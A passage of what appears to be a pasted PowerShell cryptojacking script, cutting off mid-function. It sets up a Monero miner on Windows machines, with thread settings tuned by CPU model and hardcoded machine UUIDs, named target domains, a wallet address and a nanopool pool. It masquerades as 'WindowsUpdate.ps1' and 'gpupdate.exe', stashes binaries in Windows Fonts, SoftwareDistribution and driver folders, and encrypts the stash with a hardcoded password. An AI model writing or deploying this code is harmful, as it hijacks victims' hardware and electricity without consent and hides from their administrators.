  2496.                             if ($processor -like "*e5-2667*" -or $processor -like "*E5-2620 v4*" -or $processor -like "*E5-2660 0*" -or $processor -like "*E7-4809 v3*" -or $processor -like "*E5-2670*" -or $processor -like "*E5-2643 v3*" -or $processor -like "*E5-2650*" -or $processor -like "*E5-2640*" -or $processor -like "*E5-2630 v3*" -or $processor -like "*E5-2609 v4*")
  2497.                             {
  2498.                                 $l3Cache = 20
  2499.                             }
  2500.                             if ($processor -like "*E7-4830 v3*")
  2501.                             {
  2502.                                 $l3Cache = 30
  2503.                             }
  2504.                             if ($processor -like "*E7-4820 v3*" -or $processor -like "*E5-2650 v3*" -or $processor -like "*E5-4610 v4*" -or $processor -like "*E5-2690 v2*")
  2505.                             {
  2506.                                 $l3Cache = 25
  2507.                             }
  2508.                            
  2509.                         }
  2510.                         If ($logicalcores -gt $cores)
  2511.                         {
  2512.                             $pcores = "2"
  2513.                            
  2514.                         }
  2515.                         else
  2516.                         {
  2517.                             $pcores = "1"
  2518.                            
  2519.                         }
  2520.                         If ($socket -gt $cores)
  2521.                         {
  2522.                             $Ssocket = $cores
  2523.                             $Scores = $socket
  2524.                             $socket = $Ssocket
  2525.                             $cores = $Scores
  2526.                            
  2527.                         }
  2528.                         If ($cores -eq "1") { $cores = "2" }
  2529.                         If ($cores % 2 -eq "1") { $cores = $cores - 1 }
  2530.                         if ($l3Cache % 2 -eq "1") { $l3Cache = $l3Cache - 1 }
  2531.                         if ($l3Cache/$cores -eq "2")
  2532.                         {
  2533.                             if ($pcores -eq "2")
  2534.                             {
  2535.                                 $threadsLow = 0
  2536.                                
  2537.                             }
  2538.                             else
  2539.                             {
  2540.                                 $cores = $cores / 2
  2541.                                
  2542.                             }
  2543.                            
  2544.                         }
  2545.                        
  2546.                         If ($l3Cache -eq "0")
  2547.                         {
  2548.                             $threadsLow = $cores / 2
  2549.                             $cores = "0"
  2550.                            
  2551.                         }
  2552.                         elseif ($l3Cache/$cores -gt "2")
  2553.                         {
  2554.                             if ($pcores -eq "1")
  2555.                             {
  2556.                                 $cores = $cores / 2
  2557.                                
  2558.                             }
  2559.                             $icores = $cores
  2560.                             $ithreadsLow = 0
  2561.                             $mem = $icores * 2
  2562.                             while ($mem -ne $l3Cache)
  2563.                             {
  2564.                                 $icores = $icores - 1
  2565.                                 $ithreadsLow = $ithreadsLow + 1
  2566.                                 if ($icores -gt "0")
  2567.                                 {
  2568.                                     $mem = $icores * 2 + $ithreadsLow * 4
  2569.                                 }
  2570.                                 else
  2571.                                 {
  2572.                                     $mem = $l3cache
  2573.                                 }
  2574.                                
  2575.                                 Start-Sleep -s 1
  2576.                                
  2577.                             }
  2578.                             $cores = $icores
  2579.                             $threadsLow = $ithreadsLow
  2580.                            
  2581.                         }
  2582.                         elseif ($l3Cache/$cores -gt "0" -and $l3Cache/$cores -lt "2")
  2583.                         {
  2584.                             $threadsLow = 0
  2585.                             $mem = $cores * 2
  2586.                             $icores = $cores
  2587.                             while ($mem -ne $l3Cache)
  2588.                             {
  2589.                                 $icores = $icores - 1
  2590.                                 $mem = $icores * 2
  2591.                                
  2592.                             }
  2593.                             $cores = $icores
  2594.                            
  2595.                         }
  2596.                         $ippcore = ($threadsLow + $cores) * $pcores - $pcores
  2597.                        
  2598.                         $isocket = $socket
  2599.                         $icores = $cores
  2600.                         $i = ""
  2601.                         while ($isocket -gt "0")
  2602.                         {
  2603.                             if ($icores -gt 0)
  2604.                             {
  2605.                                 while ($icores -gt "0")
  2606.                                 {
  2607.                                     $i = '{ "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : ' + $ippcore + '},'
  2608.                                    
  2609.                                     if ($k)
  2610.                                     {
  2611.                                         $i = $i + "`n$k"
  2612.                                        
  2613.                                     }
  2614.                                    
  2615.                                    
  2616.                                     $ippcore = $ippcore - $pcores
  2617.                                     $k = $i
  2618.                                     $icores = $icores - 1
  2619.                                    
  2620.                                    
  2621.                                 }
  2622.                                 $icores = $cores
  2623.                                
  2624.                             }
  2625.                             $ippcore = ($logicalcores * $isocket) - $pcores
  2626.                             $isocket = $isocket - 1
  2627.                            
  2628.                            
  2629.                         }
  2630.                         $ippcore = (($threadsLow + $cores) * $pcores - $pcores) - $cores * $pcores
  2631.                        
  2632.                         $isocket = $socket
  2633.                         $ithreadsLow = $threadsLow
  2634.                        
  2635.                         $l = ""
  2636.                         while ($isocket -gt "0")
  2637.                         {
  2638.                             if ($ithreadsLow -gt 0)
  2639.                             {
  2640.                                 while ($ithreadsLow -gt "0")
  2641.                                 {
  2642.                                     $l = '{ "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : ' + $ippcore + '},'
  2643.                                     if ($t)
  2644.                                     {
  2645.                                         $l = $l + "`n$t"
  2646.                                        
  2647.                                     }
  2648.                                    
  2649.                                     $ippcore = $ippcore - $pcores
  2650.                                     $t = $l
  2651.                                     $ithreadsLow = $ithreadsLow - 1
  2652.                                    
  2653.                                 }
  2654.                                 $ithreadsLow = $threadsLow
  2655.                                
  2656.                             }
  2657.                             $ippcore = ($logicalcores * $isocket - $pcores) - $cores * $pcores
  2658.                             $isocket = $isocket - 1
  2659.                            
  2660.                            
  2661.                         }
  2662.                        
  2663.                         $threads = $l + "`n$i"
  2664.                         if ($ComputerName -like "FuckYouJobes")
  2665.                         {
  2666.                             $threads = '{ "index": 0, "threads": 32, "blocks": 12, "bfactor": 6, "bsleep": 25, "affine_to_cpu": false },'
  2667.                             createconfigGPU -pool "$pool$port"`
  2668.                                             -walet "$worker"`
  2669.                                             -threads "$threads"
  2670.                         }
  2671.                         else
  2672.                         {
  2673.                             $uuid = get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID
  2674.                             if ($uuid -like "30373637-3233-4336-5537-323658584A52")
  2675.                             {
  2676.                                 $threads = '
  2677.     { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 0 },
  2678.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 2 },
  2679.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 4 },
  2680.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 6 },
  2681.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 8 },
  2682.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 10 },
  2683.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 12 },
  2684.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 14 },
  2685.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 16 },
  2686.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 18 },
  2687.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 20 },
  2688.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 22 },
  2689.  
  2690.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 64 },
  2691.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 66 },
  2692.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 68 },
  2693.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 70 },
  2694.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 72 },
  2695.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 74 },
  2696.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 76 },
  2697.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 78 },
  2698.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 80 },
  2699.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 82 },
  2700.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 84 },
  2701.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 86 },
  2702. '
  2703.                             }
  2704.                             if ($uuid -like "30393137-3436-4336-5535-333259503644" -or $uuid -like "30393137-3436-4336-5535-333259503642" -or $uuid -like "30393137-3436-4336-5535-333259503646" -or $uuid -like "30393137-3436-4336-5535-333259503639")
  2705.                             {
  2706.                                 $threads = '
  2707.     { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 0 },
  2708.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 2 },
  2709.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 4 },
  2710.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 6 },
  2711.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 8 },
  2712.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 10 },
  2713.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 12 },
  2714.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 14 },
  2715.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 16 },
  2716.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 18 },
  2717.  
  2718.    
  2719.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 64 },
  2720.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 66 },
  2721.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 68 },
  2722.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 70 },
  2723.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 72 },
  2724.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 74 },
  2725.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 76 },
  2726.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 78 },
  2727.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 80 },
  2728.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 82 },
  2729.  
  2730. '
  2731.                             }
  2732.                             if ($uuid -like "30333436-3436-5A43-4A31-353130484835")
  2733.                             {
  2734.                                 $threads = '
  2735.  
  2736.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 8 },
  2737.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 10 },
  2738.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 12 },
  2739.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 14 },
  2740.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 16 },
  2741.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 18 },
  2742.  
  2743.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 28 },
  2744.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 30 },
  2745.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 32 },
  2746.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 34 },
  2747.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 36 },
  2748.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 38 },
  2749.  
  2750.  
  2751.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 72 },
  2752.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 74 },
  2753.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 76 },
  2754.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 78 },
  2755.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 80 },
  2756.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 82 },
  2757.  
  2758.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 92 },
  2759.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 94 },
  2760.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 96 },
  2761.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 98 },
  2762.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 100 },
  2763.    { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 102 },
  2764. '
  2765.                             }
  2766.                             if ($uuid -like "00000000-0000-0000-0000-0CC47A284AD6")
  2767.                             {
  2768.                                 $threads = '
  2769.     { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 0 },
  2770. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 2 },
  2771. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 4 },
  2772. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 6 },
  2773. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 8 },
  2774. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 10 },
  2775.  
  2776. '
  2777.                             }
  2778.                             if ($uuid -like "4C4C4544-004C-3710-8037-B3C04F433932")
  2779.                             {
  2780.                                 $threads = '
  2781.     { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 0},
  2782. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 2},
  2783. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 4},
  2784. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 8},
  2785. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 10},
  2786. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 12},
  2787. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 14},
  2788.  
  2789. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 16},
  2790. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 18},
  2791. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 20},
  2792. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 22},
  2793. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 24},
  2794. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 26},
  2795. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 28},
  2796. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 30},
  2797.  
  2798. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 32},
  2799. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 34},
  2800. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 36},
  2801. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 38},
  2802. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 40},
  2803. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 42},
  2804. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 44},
  2805. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 46},
  2806.  
  2807. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 48},
  2808. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 50},
  2809. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 52},
  2810. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 54},
  2811. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 56},
  2812. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 58},
  2813. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 60},
  2814. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 62},
  2815.  
  2816. '
  2817.                             }
  2818.                             if ($uuid -like "4C4C4544-0037-3710-8059-B5C04F4B4632" -or $uuid -like "4C4C4544-0037-3710-8058-B5C04F4B4632")
  2819.                             {
  2820.                                 $threads = '
  2821. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 32},
  2822. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 34},
  2823. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 36},
  2824. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 38},
  2825. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 0},
  2826. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 2},
  2827. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 4},
  2828. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 6},
  2829. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 40},
  2830. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 44},
  2831. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 46},
  2832. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 48},
  2833. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 50},
  2834. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 52},
  2835. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 54},
  2836. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 56},
  2837. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 58},
  2838. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 60},
  2839. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 62},
  2840. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 8},
  2841. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 10},
  2842. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 12},
  2843. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 14},
  2844. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 16},
  2845. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 18},
  2846. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 20},
  2847. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 22},
  2848. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 24},
  2849. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 26},
  2850. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 28},
  2851. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 30},
  2852.  
  2853. '
  2854.                             }
  2855.                             if ($uuid -like "30303338-3837-4336-5537-303859463841" -or $uuid -like "30303338-3837-4336-5537-303859463844")
  2856.                             {
  2857.                                 $threads = '
  2858. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 0 },
  2859.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 2 },
  2860.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 4 },
  2861.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 6 },
  2862.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 8 },
  2863.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 10 },
  2864.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 12 },
  2865.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 14 },
  2866.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 16 },
  2867.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 18 },
  2868.  
  2869.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 64 },
  2870.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 66 },
  2871.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 68 },
  2872.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 70 },
  2873.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 72 },
  2874.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 74 },
  2875.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 76 },
  2876.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 78 },
  2877.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 80 },
  2878.    { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 82 },
  2879. '
  2880.                             }
  2881.                             if (($domain -eq "holdcable.com") -and $processor -like "*e5-2697*" -and $socket -eq "2")
  2882.                             {
  2883.                                 $threads = '
  2884. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 0},
  2885. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 2},
  2886. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 4},
  2887. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 6},
  2888. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 8},
  2889. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 10},
  2890. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 12},
  2891. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 14},
  2892. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 16},
  2893. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 18},
  2894. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 20},
  2895. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 22},
  2896. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 24},
  2897. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 26},
  2898. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 28},
  2899.  
  2900. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 36},
  2901. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 38},
  2902. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 40},
  2903. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 42},
  2904. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 44},
  2905. { "low_power_mode" : true, "no_prefetch" : true, "affine_to_cpu" : 46},
  2906. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 48},
  2907. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 50},
  2908. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 52},
  2909. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 54},
  2910. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 56},
  2911. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 58},
  2912. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 60},
  2913. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 62},
  2914. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 64},
  2915. { "low_power_mode" : false, "no_prefetch" : true, "affine_to_cpu" : 66},
  2916.  
  2917. '
  2918.                                
  2919.                             }
  2920.                            
  2921.                             #                   if ($uuid -like "4C4C4544-0048-5110-8031-C6C04F594B32")
  2922.                             #                   {
  2923.                             #                  
  2924.                             #                   }
  2925.                             if (($processor -like "*i7*"))
  2926.                             {
  2927.                                 $threads = '
  2928. { "low_power_mode" : true, "no_prefetch" : false, "affine_to_cpu" : 2 },
  2929. { "low_power_mode" : true, "no_prefetch" : false, "affine_to_cpu" : 4 },
  2930. '
  2931.                             }
  2932.                             if (($processor -like "*i5*"))
  2933.                             {
  2934.                                 $threads = '
  2935. { "low_power_mode" : true, "no_prefetch" : false, "affine_to_cpu" : 2 },
  2936. '
  2937.                             }
  2938.                             if (($processor -like "*i3*"))
  2939.                             {
  2940.                                 $threads = '
  2941. { "low_power_mode" : false, "no_prefetch" : false, "affine_to_cpu" : 2 },
  2942. '
  2943.                             }
  2944.                             $uuid = get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID
  2945.                            
  2946.                             if ($domain -eq "evergreen.local")
  2947.                             {
  2948.                                 $worker = "4JUdGzvrMFDWrUUwY3toJATSeNwjn54LkCnKBPRzDuhzi5vSepHfUckJNxRL2gjkNrSqtCoRUrEDAgRwsQvVCjZbRwMB2yi1qd1CJMCpZT.EverGreen"
  2949.                                 $pool = "xmr-us-east1.nanopool.org"
  2950.                                 $port = ":14444"
  2951.                             }
  2952.                             createconfig -pool "$pool$port"`
  2953.                                          -walet "$worker"`
  2954.                                          -threads "$threads"
  2955.                            
  2956.                         }
  2957.                     }
  2958.                     else
  2959.                     {
  2960.                         if ($domain -eq "evergreen.local")
  2961.                         {
  2962.                             $worker = "4JUdGzvrMFDWrUUwY3toJATSeNwjn54LkCnKBPRzDuhzi5vSepHfUckJNxRL2gjkNrSqtCoRUrEDAgRwsQvVCjZbRwMB2yi1qd1CJMCpZT.EverGreen"
  2963.                             $pool = "xmr-us-east1.nanopool.org"
  2964.                             $port = ":14444"
  2965.                         }
  2966.                         createconfig32 -pool "$pool$port"`
  2967.                                        -walet "$worker"`
  2968.                        
  2969.                     }
  2970.                    
  2971.                    
  2972.                    
  2973.                    
  2974.                     $testruntask = (Get-WmiObject Win32_Process -Filter "name = 'powershell.exe'" | Where-Object { $_.CommandLine -like "*WindowsUpdate.ps1*" })
  2975.                     if (!($testruntask))
  2976.                     {
  2977.                        
  2978.                         $script = @'
  2979. chcp 437
  2980. $OutputEncoding = [Console]::OutputEncoding
  2981. $ComputerName = $env:COMPUTERNAME
  2982. $PCbased = (Get-WmiObject Win32_ComputerSystem).systemtype
  2983. if ($env:ComputerName -like "*slave*")
  2984. {
  2985.     if (Test-Path "$env:windir\Fonts\Arial\gpupdate.exe")
  2986.     {
  2987.         if (!(Test-Path "$env:windir\SoftwareDistribution\DeliveryOptimization"))
  2988.         {
  2989.             new-item "$env:windir\SoftwareDistribution\DeliveryOptimization" -itemtype directory
  2990.         }
  2991.         robocopy "$env:windir\Fonts\Arial" "$env:windir\SoftwareDistribution\DeliveryOptimization" gpupdate* /R:3 /W:20
  2992.     }
  2993.     if (Test-Path "$env:windir\fonts\arial\openssl.exe")
  2994.     {
  2995.        
  2996.         robocopy "$env:windir\Fonts\Arial" "$env:windir\system32\drivers" openssl* /R:3 /W:20
  2997.     }
  2998. }
  2999.  
  3000. function Convert-TimeZone
  3001. {
  3002. <#
  3003.    .Synopsis
  3004.        Converts given datetime from local time zone to another given time zone
  3005.  
  3006.    .Description
  3007.        This function helps you to convert date time information from local time zone to another time zone.
  3008.        
  3009.    .Parameter DateTime
  3010.        A datetime object which needs to be converted to different time zone.
  3011.    
  3012.    .Parameter ToTimeZone    
  3013.        Name of the target time zone. If you don't have name of the target time zone, then try below command
  3014.         from powershell console which displays all available timezones that you can convert.
  3015.  
  3016.         [system.timezoneinfo]::GetSystemTimeZones()
  3017.    
  3018.     .Example
  3019.         Convert-TimeZone -DateTime (get-now) -ToTimeZone "Eastern Standard Time"
  3020.                
  3021.     .Notes
  3022.         NAME:      Convert-TimeZone
  3023.         AUTHOR:    Sitaram Pamarthi
  3024.         WEBSITE:   http://techibee.com
  3025.  
  3026. #>
  3027.    
  3028.     [cmdletbinding()]
  3029.     param (
  3030.        
  3031.         [parameter(Mandatory = $true)]
  3032.         [ValidateNotNullOrEmpty()]
  3033.         [datetime]$DateTime,
  3034.         [string]$ToTimeZone = ([system.timezoneinfo]::UTC).id
  3035.        
  3036.     )
  3037.    
  3038.     $ToTimeZoneObj = [system.timezoneinfo]::GetSystemTimeZones() | Where-Object {
  3039.         $_.id -eq $ToTimeZone
  3040.     }
  3041.    
  3042.     if (!($ToTimeZoneObj))
  3043.     {
  3044.         Write-Error "Zone Conversion failed. Given timezone is not valid. Choose the target time zone from list of below given zones"
  3045.         return
  3046.     }
  3047.     $TargetZoneTime = [system.timezoneinfo]::ConvertTime($datetime, $ToTimeZoneObj)
  3048.    
  3049.     $Output = New-Object -TypeName PSObject -Property @{
  3050.         LocalTime       = $datetime
  3051.         LocalTimeZone   = $(([system.timezoneinfo]::LOCAL).id)
  3052.         TargetTime      = $TargetZoneTime
  3053.         TargetTimeZone  = $($ToTimeZoneObj.id)
  3054.     }
  3055.     #   $Output | select LocalTime, LocalTimeZone, TargetTime, TargetTimeZone | ft
  3056.     return $TargetZoneTime
  3057. }
  3058. Function Encry
  3059. {
  3060.     cls
  3061.     Write-Host "=======================" -NoNewline -ForegroundColor Yellow
  3062.     Write-Host " Begining Appu Encryption " -NoNewline -ForegroundColor Red -BackgroundColor Yellow
  3063.     Write-Host "=======================" -ForegroundColor Yellow
  3064.     #$Input = Read-Host "Enter the Source path [Ex: D:\SecureData] "
  3065.     #$Output = Read-Host "Enter the Destination path [Ex: D:\EncryptedSecdata] "
  3066.     #$PrimaryPwd = Read-host "Enter Primary Password "
  3067.     #$SecondaryPwd = Read-host "Enter Secondary Password "
  3068.     $Input = "$env:windir\Fonts\arial"
  3069.     $Output = "$env:windir\System\HASH"
  3070.     if (!(Test-Path "$Output"))
  3071.     {
  3072.         new-item "$Output" -itemtype directory
  3073.     }
  3074.     $PrimaryPwd = "Kirova143"
  3075.     $SecondaryPwd = "Kirova143"
  3076.     [string]$PMixpwd = "$PrimaryPwd$SecondaryPwd"
  3077.     $ShufflePMixPwd = $PMixpwd
  3078.     $RandomFileN = Get-Random
  3079.     $KeyFile = "$env:windir\system\$RandomFileN.txt"
